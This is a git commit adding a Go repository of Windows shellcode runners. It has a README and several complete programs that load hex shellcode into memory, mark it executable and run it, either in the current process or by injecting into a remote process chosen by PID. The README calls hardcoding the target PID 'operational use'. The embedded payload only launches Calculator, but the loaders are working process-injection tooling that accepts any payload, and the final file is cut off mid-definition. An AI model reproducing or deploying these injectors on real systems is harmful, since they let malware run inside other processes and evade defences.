Initial commit

This commit is contained in:
Ne0nd0g
2020-03-21 15:27:20 -04:00
parent 2cddc8f871
commit 9886d4b53f
7 changed files with 804 additions and 0 deletions
+60
View File
@@ -0,0 +1,60 @@
# go-shellcode
`go-shellcode` is a repository of Windows Shellcode runners and supporting utuilies. The applications load and execute Shellcode using various API calls or techniques.
The available Shellcode runners include:
* [CreateRemoteThread](#CreateRemoteThred)
* [CreateRemoteThreadNative](#CreateRemoteThreadNative)
* [CreateThread](#CreateThread)
* [CreateThreadNative](#CreateThreadNative)
* [RtlCreateUserThread](#RtlCreateUserThread)
* [Syscall](#Syscall)
## CreateRemoteThread
This application leverages the Windows [CreateRemoteThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread) function from `Kernel32.dll` to execute shellocde in a remote process. The application requires that the target process to inject into is already running. The targe Process Identifier (PID) can provided at runtime for testing using the `-pid` command line flag. Hardcode the PID in the following line of code for operational use by replacing the `0` with your target PID:
`pid := flag.Int("pid", 0, "Process ID to inject shellcode into")`
This application leverages functions from the `golang.org/x/sys/windows` package, where feasible, like the [`windows.OpenProcess()`](https://github.com/golang/sys/blob/a7d97aace0b0/windows/zsyscall_windows.go#L1197). The application can be compiled wit the following command on Windows host from the project's root directory:
`set GOOS=windows GOARCH=amd64;go build -o CreateRemoteThread.exe .\cmd\CreateRemoteThread\main.go`
## CreateRemoteThreadNative
This application leverages the Windows [CreateRemoteThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread) function from `Kernel32.dll` to execute shellocde in a remote process. The application requires that the target process to inject into is already running. The targe Process Identifier (PID) can provided at runtime for testing using the `-pid` command line flag. Hardcode the PID in the following line of code for operational use by replacing the `0` with your target PID:
`pid := flag.Int("pid", 0, "Process ID to inject shellcode into")`
This application **DOES NOT** leverages functions from the `golang.org/x/sys/windows` package. The most significant difference is that this application loads all the necessary DLLs and Procedures itself and uses the procedure's Call() function. The application can be compiled wit the following command on Windows host from the project's root directory:
`set GOOS=windows GOARCH=amd64;go build -o CreateRemoteThreadNative.exe .\cmd\CreateRemoteThreadNative\main.go`
## CreateThread
This application leverages the Windows [CreateThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread) function from `Kernel32.dll` to execute shellcode within this application's process. This is usefull when you want to avoid remote process injection. This application leverages functions from the `golang.org/x/sys/windows` package, where feasible, like the [windows.VirtualAlloc()`](https://github.com/golang/sys/blob/a7d97aace0b0/windows/zsyscall_windows.go#L1712). The application can be compiled wit the following command on Windows host from the project's root directory:
`set GOOS=windows GOARCH=amd64;go build -o CreateThread.exe .\cmd\CreateThread\main.go`
## CreateThreadNative
This application leverages the Windows [CreateThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread) function from the `Kernel32.dll` to execute shellcode within this application's process. This is usefull when you want to avoid remote process injection. This application **DOES NOT** leverages functions from the `golang.org/x/sys/windows` package. The most significant difference is that this application loads all the necessary DLLs and Procedures itself and uses the procedure's Call() function. The application can be compiled wit the following command on Windows host from the project's root directory:
`set GOOS=windows GOARCH=amd64;go build -o CreateThreadNative.exe .\cmd\CreateThreadNative\main.go`
## RtlCreateUserThread
This application leverages the Windows [RtlCreateUserThread](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FRtlCreateUserThread.html) function from `ntdll.dll` to execute shellocde in a remote process. The application requires that the target process to inject into is already running. The targe Process Identifier (PID) can provided at runtime for testing using the `-pid` command line flag. Hardcode the PID in the following line of code for operational use by replacing the `0` with your target PID:
`pid := flag.Int("pid", 0, "Process ID to inject shellcode into")`
This application **DOES NOT** leverages functions from the `golang.org/x/sys/windows` package. The most significant difference is that this application loads all the necessary DLLs and Procedures itself and uses the procedure's Call() function. The application can be compiled wit the following command on Windows host from the project's root directory:
`set GOOS=windows GOARCH=amd64;go build -o RtlCreateUserThread.exe .\cmd\RtlCreateUserThread\main.go`
## Syscall
This application executes Shellcode in the current running proccess by making a Syscall on the Shellcode's entry point. This application **DOES NOT** leverages functions from the `golang.org/x/sys/windows` package. The application can be compiled wit the following command on Windows host from the project's root directory:
`set GOOS=windows GOARCH=amd64;go build -o Syscall.exe .\cmd\Syscall\main.go`
+124
View File
@@ -0,0 +1,124 @@
// +build windows
/*
This program executes shellcode in a remote process using the following steps
1. Get a handle to the target process
1. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
2. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
3. Change the memory page permissions to Execute/Read with VirtualProtectEx
4. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread
5. Close the handle to the remote process
This program leverages the functions from golang.org/x/sys/windows WHERE POSSIBLE to call Windows procedures instead of manually loading them
*/
package main
import (
"encoding/hex"
"flag"
"fmt"
"log"
"unsafe"
// Sub Repositories
"golang.org/x/sys/windows"
)
func main() {
verbose := flag.Bool("verbose", false, "Enable verbose output")
debug := flag.Bool("debug", false, "Enable debug output")
// To hardcode the Process Identifier (PID), change 0 to the PID of the target process
pid := flag.Int("pid", 0, "Process ID to inject shellcode into")
flag.Parse()
// Pop Calc Shellcode
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
if errShellcode != nil {
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
}
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Getting a handle to Process ID (PID) %d...", *pid))
}
pHandle, errOpenProcess := windows.OpenProcess(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, false, uint32(*pid))
if errOpenProcess != nil {
log.Fatal(fmt.Sprintf("[!]Error calling OpenProcess:\r\n%s", errOpenProcess.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully got a handle to process %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", *pid))
}
addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
}
if addr == 0 {
log.Fatal("[!]VirtualAllocEx failed and returned 0")
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", *pid))
}
_, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(pHandle), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully wrote shellcode to PID %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", *pid))
}
oldProtect := windows.PAGE_READWRITE
_, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(pHandle), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully change memory permissions to PAGE_EXECUTE_READ in PID %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Call CreateRemoteThreadEx on PID %d...", *pid))
}
_, _, errCreateRemoteThreadEx := CreateRemoteThreadEx.Call(uintptr(pHandle), 0, 0, addr, 0, 0, 0)
if errCreateRemoteThreadEx != nil && errCreateRemoteThreadEx.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling CreateRemoteThreadEx:\r\n%s", errCreateRemoteThreadEx.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[+]Successfully create a remote thread in PID %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling CloseHandle on PID %d...", *pid))
}
errCloseHandle := windows.CloseHandle(pHandle)
if errCloseHandle != nil {
log.Fatal(fmt.Sprintf("[!]Error calling CloseHandle:\r\n%s", errCloseHandle.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully closed the handle to PID %d", *pid))
}
}
// export GOOS=windows GOARCH=amd64;go build -o goCreateRemoteThread.exe cmd/CreateRemoteThread/main.go
+131
View File
@@ -0,0 +1,131 @@
// +build windows
/*
This program executes shellcode in a remote process using the following steps
1. Get a handle to the target process
1. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
2. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
3. Change the memory page permissions to Execute/Read with VirtualProtectEx
4. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread
5. Close the handle to the remote process
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
*/
package main
import (
"encoding/hex"
"flag"
"fmt"
"log"
"os"
"unsafe"
// Sub Repositories
"golang.org/x/sys/windows"
)
func main() {
verbose := flag.Bool("verbose", false, "Enable verbose output")
debug := flag.Bool("debug", false, "Enable debug output")
// To hardcode the Process Identifier (PID), change 0 to the PID of the target process
pid := flag.Int("pid", 0, "Process ID to inject shellcode into")
flag.Usage = func() {
flag.PrintDefaults()
os.Exit(0)
}
flag.Parse()
// Pop Calc Shellcode
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
if errShellcode != nil {
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
}
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
OpenProcess := kernel32.NewProc("OpenProcess")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
CloseHandle := kernel32.NewProc("CloseHandle")
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Getting a handle to Process ID (PID) %d...", *pid))
}
pHandle, _, errOpenProcess := OpenProcess.Call(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, 0, uintptr(uint32(*pid)))
if errOpenProcess != nil && errOpenProcess.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling OpenProcess:\r\n%s", errOpenProcess.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully got a handle to process %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", *pid))
}
addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
}
if addr == 0 {
log.Fatal("[!]VirtualAllocEx failed and returned 0")
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", *pid))
}
_, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(pHandle), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully wrote shellcode to PID %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", *pid))
}
oldProtect := windows.PAGE_READWRITE
_, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(pHandle), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully change memory permissions to PAGE_EXECUTE_READ in PID %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Call CreateRemoteThreadEx on PID %d...", *pid))
}
_, _, errCreateRemoteThreadEx := CreateRemoteThreadEx.Call(uintptr(pHandle), 0, 0, addr, 0, 0, 0)
if errCreateRemoteThreadEx != nil && errCreateRemoteThreadEx.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling CreateRemoteThreadEx:\r\n%s", errCreateRemoteThreadEx.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[+]Successfully create a remote thread in PID %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling CloseHandle on PID %d...", *pid))
}
_, _, errCloseHandle := CloseHandle.Call(uintptr(uint32(pHandle)))
if errCloseHandle != nil && errCloseHandle.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling CloseHandle:\r\n%s", errCloseHandle.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully closed the handle to PID %d", *pid))
}
}
// export GOOS=windows GOARCH=amd64;go build -o goCreateRemoteThreadNative.exe cmd/CreateRemoteThreadNative/main.go
+109
View File
@@ -0,0 +1,109 @@
// +build windows
/*
This program executes shellcode in the current process using the following steps
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Call CreateThread on shellcode address
5. Call WaitForSingleObject so the program does not end before the shellcode is executed
This program leverages the functions from golang.org/x/sys/windows to call Windows procedures instead of manually loading them
*/
package main
import (
"encoding/hex"
"flag"
"fmt"
"log"
"unsafe"
// Sub Repositories
"golang.org/x/sys/windows"
)
func main() {
verbose := flag.Bool("verbose", false, "Enable verbose output")
debug := flag.Bool("debug", false, "Enable debug output")
flag.Parse()
// Pop Calc Shellcode
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
if errShellcode != nil {
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
}
if *debug {
fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode")
}
addr, errVirtualAlloc := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if errVirtualAlloc != nil {
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
}
if addr == 0 {
log.Fatal("[!]VirtualAlloc failed and returned 0")
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode)))
}
if *debug {
fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory")
}
ntdll := windows.NewLazySystemDLL("ntdll.dll")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
_, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
}
if *verbose {
fmt.Println("[-]Shellcode copied to memory")
}
if *debug {
fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ")
}
var oldProtect uint32
errVirtualProtect := windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)
if errVirtualProtect != nil {
log.Fatal(fmt.Sprintf("[!]Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
}
if *verbose {
fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ")
}
if *debug {
fmt.Println("[DEBUG]Calling CreateThread...")
}
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
CreateThread := kernel32.NewProc("CreateThread")
thread, _, errCreateThread := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
if errCreateThread != nil && errCreateThread.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling CreateThread:\r\n%s", errCreateThread.Error()))
}
if *verbose {
fmt.Println("[+]Shellcode Executed")
}
if *debug {
fmt.Println("[DEBUG]Calling WaitForSingleObject...")
}
event, errWaitForSingleObject := windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)
if errWaitForSingleObject != nil {
log.Fatal(fmt.Sprintf("[!]Error calling WaitForSingleObject:\r\n:%s", errWaitForSingleObject.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]WaitForSingleObject returned with %d", event))
}
}
// export GOOS=windows GOARCH=amd64;go build -o goCreateThread.exe cmd/CreateThread/main.go
+129
View File
@@ -0,0 +1,129 @@
// +build windows
/*
This program executes shellcode in the current process using the following steps
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Call CreateThread on shellcode address
5. Call WaitForSingleObject so the program does not end before the shellcode is executed
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
*/
package main
import (
"encoding/hex"
"flag"
"fmt"
"log"
"unsafe"
// Sub Repositories
"golang.org/x/sys/windows"
)
const (
// MEM_COMMIT is a Windows constant used with Windows API calls
MEM_COMMIT = 0x1000
// MEM_RESERVE is a Windows constant used with Windows API calls
MEM_RESERVE = 0x2000
// PAGE_EXECUTE_READ is a Windows constant used with Windows API calls
PAGE_EXECUTE_READ = 0x20
// PAGE_READWRITE is a Windows constant used with Windows API calls
PAGE_READWRITE = 0x04
)
func main() {
verbose := flag.Bool("verbose", false, "Enable verbose output")
debug := flag.Bool("debug", false, "Enable debug output")
flag.Parse()
// Pop Calc Shellcode
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
if errShellcode != nil {
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
}
if *debug {
fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll")
}
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
if *debug {
fmt.Println("[DEBUG]Loading VirtualAlloc, VirtualProtect and RtlCopyMemory procedures")
}
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
CreateThread := kernel32.NewProc("CreateThread")
WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")
if *debug {
fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode")
}
addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
}
if addr == 0 {
log.Fatal("[!]VirtualAlloc failed and returned 0")
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode)))
}
if *debug {
fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory")
}
_, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
}
if *verbose {
fmt.Println("[-]Shellcode copied to memory")
}
if *debug {
fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ")
}
oldProtect := PAGE_READWRITE
_, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
}
if *verbose {
fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ")
}
if *debug {
fmt.Println("[DEBUG]Calling CreateThread...")
}
//var lpThreadId uint32
thread, _, errCreateThread := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
if errCreateThread != nil && errCreateThread.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling CreateThread:\r\n%s", errCreateThread.Error()))
}
if *verbose {
fmt.Println("[+]Shellcode Executed")
}
if *debug {
fmt.Println("[DEBUG]Calling WaitForSingleObject...")
}
_, _, errWaitForSingleObject := WaitForSingleObject.Call(thread, 0xFFFFFFFF)
if errWaitForSingleObject != nil && errWaitForSingleObject.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling WaitForSingleObject:\r\n:%s", errWaitForSingleObject.Error()))
}
}
// export GOOS=windows GOARCH=amd64;go build -o goCreateThreadNative.exe cmd/CreateThreadNative/main.go
+134
View File
@@ -0,0 +1,134 @@
// +build windows
/*
This program executes shellcode in a remote process using the following steps
1. Get a handle to the target process
1. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
2. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
3. Change the memory page permissions to Execute/Read with VirtualProtectEx
4. Execute the entrypoint of the shellcode in the remote process with RtlCreateUserThread
5. Close the handle to the remote process
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
*/
package main
import (
"encoding/hex"
"flag"
"fmt"
"log"
"os"
"unsafe"
// Sub Repositories
"golang.org/x/sys/windows"
)
func main() {
verbose := flag.Bool("verbose", false, "Enable verbose output")
debug := flag.Bool("debug", false, "Enable debug output")
// To hardcode the Process Identifier (PID), change 0 to the PID of the target process
pid := flag.Int("pid", 0, "Process ID to inject shellcode into")
flag.Usage = func() {
flag.PrintDefaults()
os.Exit(0)
}
flag.Parse()
// Pop Calc Shellcode
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
if errShellcode != nil {
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
}
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
OpenProcess := kernel32.NewProc("OpenProcess")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
RtlCreateUserThread := ntdll.NewProc("RtlCreateUserThread")
CloseHandle := kernel32.NewProc("CloseHandle")
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Getting a handle to Process ID (PID) %d...", *pid))
}
pHandle, _, errOpenProcess := OpenProcess.Call(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, 0, uintptr(uint32(*pid)))
if errOpenProcess != nil && errOpenProcess.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling OpenProcess:\r\n%s", errOpenProcess.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully got a handle to process %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", *pid))
}
addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
}
if addr == 0 {
log.Fatal("[!]VirtualAllocEx failed and returned 0")
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", *pid))
}
_, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(pHandle), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully wrote shellcode to PID %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", *pid))
}
oldProtect := windows.PAGE_READWRITE
_, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(pHandle), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully change memory permissions to PAGE_EXECUTE_READ in PID %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling RtlCreateUserThread on PID %d...", *pid))
}
var tHandle uintptr
_, _, errRtlCreateUserThread := RtlCreateUserThread.Call(uintptr(pHandle), 0, 0, 0, 0, 0, addr, 0, uintptr(unsafe.Pointer(&tHandle)), 0)
if errRtlCreateUserThread != nil && errRtlCreateUserThread.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("Error calling RtlCreateUserThread:\r\n%s", errRtlCreateUserThread.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully called RtlCreateUserThread on PID %d", *pid))
}
if *debug {
fmt.Println(fmt.Sprintf("[DEBUG]Calling CloseHandle on PID %d...", *pid))
}
_, _, errCloseHandle := CloseHandle.Call(uintptr(uint32(pHandle)))
if errCloseHandle != nil && errCloseHandle.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling CloseHandle:\r\n%s", errCloseHandle.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Successfully closed the handle to PID %d", *pid))
}
}
// export GOOS=windows GOARCH=amd64;go build -o goRtlCreateUserThread.exe cmd/RtlCreateUserThread/main.go
+117
View File
@@ -0,0 +1,117 @@
// +build windows
/*
This program executes shellcode in the current process using the following steps
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Use syscall to execute the entrypoint of the shellcode
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
*/
package main
import (
"encoding/hex"
"flag"
"fmt"
"log"
"syscall"
"unsafe"
// Sub Repositories
"golang.org/x/sys/windows"
)
const (
// MEM_COMMIT is a Windows constant used with Windows API calls
MEM_COMMIT = 0x1000
// MEM_RESERVE is a Windows constant used with Windows API calls
MEM_RESERVE = 0x2000
// PAGE_EXECUTE_READ is a Windows constant used with Windows API calls
